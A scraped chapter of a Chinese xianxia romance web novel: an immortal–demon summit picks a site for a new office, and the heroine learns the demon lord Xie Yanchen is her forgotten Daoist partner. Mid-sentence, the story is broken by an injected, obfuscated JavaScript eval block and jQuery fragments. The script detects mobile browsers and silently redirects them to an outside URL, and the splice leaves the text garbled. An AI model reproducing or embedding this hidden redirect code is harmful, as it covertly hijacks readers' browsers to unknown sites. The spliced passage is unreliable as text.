36. 这属实有点渣了!

作品:《只是契约道侣不可能后爱

    翌日,水月镜都,仙魔会晤之地。


    “我们同意设立专门处理仙魔纠纷的诛邪司。”秦闲摸着胡子沉声道,“可这选址,屿阑城却不行。”


    秦闲瞥了眼对面随意撑着额头,周身散发着强大压迫力的魔主,顿了顿才接着道:“屿阑城背后势力不明,诛邪司恐遭外人利用。”


    谢砚沉不耐烦地“嗤”了一声。


    霎时,空气仿若凝固,仙门众人不发一言,陷入诡异的安静。


    秦闲心底不快,但介于身份,仍强自按捺住怒火,“昆吾城地处仙门腹地,不论发生何事,各方都可救援——”


    “不如选在雷霄城。”谢砚沉抬眼看向秦闲,目光不寒而栗。


    在座的皆知,雷霄城乃御霄宗的核心都城,完全受御霄宗掌控。


    几位宗主不由地腹诽:今天这魔主说话是夹枪带棒,冷嘲热讽的,昨日里不是还好好的?


    “你什么意思!”秦闲指着对面的人高声忿道,下巴上的胡须因愤怒和向前翘起。


    谢砚沉放下抵在额间的手,声音冰冷刺骨:“听不懂就换个能听懂的来。”


    “你!”秦闲身侧的焚遥宫副宫主连忙按住他,让他消气。


    秦闲活了快两百岁,这还是头一回被人这么下面子,他猛地一拍桌子,朝坐在他右侧的人道:


    “应宗主,不如你来说道说道!”


    全场寂静,其他几位宗主眼观鼻鼻观心,面上神色不显,耳朵却瞬间竖了起来,难得地有种看热闹的心理,他们可都知道,应含真是对面那魔主的师兄。


    被点到名的应含真,轻轻叹了口气,他就知道没法作壁上观。


    “这诛邪司的选址,不论是仙魔哪一方的境内都不会令对方全然安心,不若就在交界处的连绵万里山脉中选一处,比如,南泗郡。”


    南泗郡只是个山边小城,不若屿阑城出名,亦不隶属任何宗门,郡守只是个普通人,而之所以为众人所知,是因其特有的一种封灵石,产量稀少但所造的石笼镣铐能封住仙魔的力量。


    几位代表各大宗门的大人物暗自思忖:南泗郡,倒也的确比之前说的几个城都要合适。


    就这样,一时间竟无人再出言反对。


    就连那散发着低气压的魔主,都垂眼沉默,不知道是给他那师兄面子还是怎的,总之这诛邪司的选址就这么定了下来。


    秦闲重新接过话头:“至于这司主的人选,我们的意思是各家出一人,统一进行考验,胜者继任诛邪司。”


    谢砚沉连眼皮都懒得抬,只道:“四对一,不愧是把公道挂在嘴边的秦宗主。”


    秦闲气血上涌,脸上一阵青一阵白,连手都颤抖起来,然而不待他动作,对面的谢砚沉再度开口:


    “就如你们所意,但考验的时间我来定。”


    **


    黎漾刚享用完水月镜都颇有特色的美食,何嘉嘉就回来了。


    她“哗啦”一下拉开黎漾对面的椅子坐下,急不可耐地道:“今天仙魔会晤那场面,那气氛,啧……”


    “我可算是开眼了,头一回见御霄宗的秦老头那么吃瘪,往日他总仗着自己一把年纪,占尽便宜,今天可算是踢到铁板了,哈哈!”


    “我以前咋就没发现呢,小师叔——”何嘉嘉突然刹住话头,瞥了眼黎漾,声音瞬间压低,“漾漾……”


    “你……你跟……”


    何嘉嘉欲言又止,但好奇心爆棚,终了实在憋不住了:“你跟魔……跟小师叔吵架了?”


    黎漾一脸茫然地看向何嘉嘉:“小师叔?”


    “对啊,我昨天可瞧见了,你们牵着手呢。可你昨晚又……到底什么情况啊?我实在忍不住了!”何嘉嘉在黎漾面前早扔掉百年来的冷静,满脸只有“八卦”二字。


    黎漾却愈发摸不着头脑:“牵手?你说谁?我昨天是和——”


    话说一半,黎漾怔住,语气飘忽起来:“你别告诉我,那个魔主是你说的‘小师叔’……”


    这下换何嘉嘉疑惑了:“你难道没认出他?那你们怎会在一起?”


    黎漾陷入沉默,几次张嘴又合上,末了无奈道:“……有点一言难尽,而且我……我还不知道他长啥样……”


    “所以你根本就没认出他?啥也没想起来?!”何嘉嘉眼睛瞪地像铜铃。


    “你带我来这说要见的故人就是他?”黎漾顿了顿,想起上次何嘉嘉提过的名字,“谢……砚沉?”


    何嘉嘉点了点头。


    黎漾安静下来,何嘉嘉看她垂着脑袋,忍不住问道:“你在他身边就没想起啥?”


    黎漾也不瞒她,直言道:“见到他后确实脑中有出现一些画面,但那个人的脸始终模糊,我……不知道他是谁。”


    “本来我是想着等你见到他就会想起来,所以没提前和你说。”何嘉嘉伸手握住黎漾的手,“漾漾,你真的记不得了吗?你们可是结了鸾印的道侣啊。”


    黎漾忽然想到昨日第一次见到那位魔主的场景,他当时抬起的手指间似乎就有个金色印记?


    黎漾眼神复杂地望向何嘉嘉,再次确认道:“你是说,我和你小师叔,谢砚沉,也就是现在的魔主,我们俩是道侣?”


    “对啊。”


    黎漾心里咯噔一下:所以实际上,她就是魔主的那位白月光?


    黎漾将自己代入了下对方的视角:突然见到分别一百多年的道侣,却被对方告知两年前已跟别人结婚,还说过于思念以至于认错人,并一个劲儿道歉,求放过……


    好吧……这属实有点渣了……


    如果不喜欢倒还好,可若是喜欢,这得火葬场扬灰的吧?


    黎漾努力回想之前脑海中闪过的那些片段,试图从细枝末节里分析出这位“道侣”对她是喜欢还是不喜欢。


    还没琢磨出结果,一个疑问就先冒了出来。


    “嘉嘉,我和谢砚沉为啥会结成道侣啊?”


    何嘉嘉像看傻子样望着黎漾:“这还用问?肯定是因为爱啊!”


    黎漾沉默,显然她这个问题是问错人了。


    虽然黎漾没记起全部,但她是为了阻止邪魔破封才回到一百多年的,在确定自己要回去的情况下,她相信自己不会轻易与人结道侣,除非是为了更快完成任务。


    这么推断下来,她和谢砚沉之间,大概是有某种约定。可为什么昨日他一举一动处处都透露着……爱而不得的郁色?


    而且,那些零散画面中的亲密……似乎自己也有点享受其中??


    黎漾顿觉头疼,她实在理不清两人之间的关系。


    “对了。”何嘉嘉突然兴奋道,“今天你还能见到一个故人。”


    黎漾现在听到“故人”两个人就头大,可别再给她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859341|154417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来这种有感情债的“故人”了。


    何嘉嘉见黎漾一脸便秘似的,不由道,“你这是什么表情,这回我可跟你说清楚了,他叫江叙白,之前可是我们□□一员,可以一起喝花酒的哥们,哦,好像也没喝过花酒,但你懂我意思的对吧。”


    黎漾有气无力地“哦”了一声,又忽然好奇发问:“那□□最后一人是谁啊?”


    何嘉嘉滞了滞,垂下眼,给自己倒了杯水,小声嗫嚅道:“他啊,嗯……等以后你想起来了再说吧。”


    随即又生硬岔开话题:“江叙白,现在可是我们剑天宗大名鼎鼎的药阁阁主,他一收到我的消息就赶来了,等他一会儿到了,咱晚上不醉不归啊!”


    黎漾记下这个名字,瞧着何嘉嘉一副要大干一场的架势,不禁戏谑道:“不醉不归?你可别明天酒气熏天地去守门吧。”


    “哎呀,这怎么办?”何嘉嘉一下子愣住,倒是忘了自己得负责仙魔会晤场所的安全的事。


    “不行!我都好久没跟你们喝酒了,你都不知道,自从你出事后,我们都以为你死了,那日子过得别提多心酸,我是看到啥都想到你,难过得夜夜睡不好觉,你看我!我就是那时候瘦下来的!我今晚一定要喝,顶多少喝那么一点!”何嘉嘉煞有其事地比了比指节。


    一个时辰不到,黎漾就随何嘉嘉见到了江叙白。


    眼前的江叙白,是个同黎漾想象中一起逛花楼的不羁形象截然相反的温文尔雅……


    待他走近,黎漾才从他眼中看出难以掩饰的激动和别的什么。


    “黎漾……”江叙白喊了一声黎漾的名字就紧紧抱住了她。


    “我以为……再也见不到你了……”


    黎漾善解人意地轻拍他的后背。


    “你们就别干站着了,都看着你们呢,坐坐,长夜漫漫,咱可以慢慢聊啊!”何嘉嘉在一旁招呼道。


    ……


    当夜,黎漾醉后很快便入睡,然而半夜却从梦中惊醒,猛地从床上坐了起来。


    梦里她和江叙白在爬山,然后江叙白对她告白,说喜欢她,愿意等她三年之后恢复自由之身。接着画面一转,变成昏暗的街道,那个始终看不清面容的谢砚沉和江叙白每人扯她一条胳膊,问她跟谁走。


    最后画面又变成她躺在床上拽着那个谢砚沉问:


    “谢砚沉,你不开心嘛?”


    “嗯。”


    “那,我安慰下你好不好?”


    “你要如何安慰。”


    梦中的自己竟直接将人勾下来,吻上他喉结,还一路向上吻到人唇上……


    黎漾一激动就这么醒了。


    屋内一片漆黑,唯有她剧烈的心跳声砰砰作响,一下又一下,快得好似要失控。


    黎漾心想,算了,明天,还是去找下他吧,虽然她还没记起全部,但骗他说自己两年前有了夫君到底是她的错,他……当时看起来好像有点难过……


    另一边,隐一正站在魔主面前汇报今日所见。


    “……之后见了剑天宗药阁阁主江叙白,江叙白一见黎姑娘就抱住了她,黎姑娘也抱住他。”一旁的尤钧朝隐一挤眼,隐一不知道他整什么幺蛾子,以为他眼抽筋给了他个白眼后继续说:


    “三人相谈甚欢直至亥时末,剑天宗的何嘉嘉自己回了房,江叙白则送黎姑娘回了屋,约摸呆了一刻钟才出来。”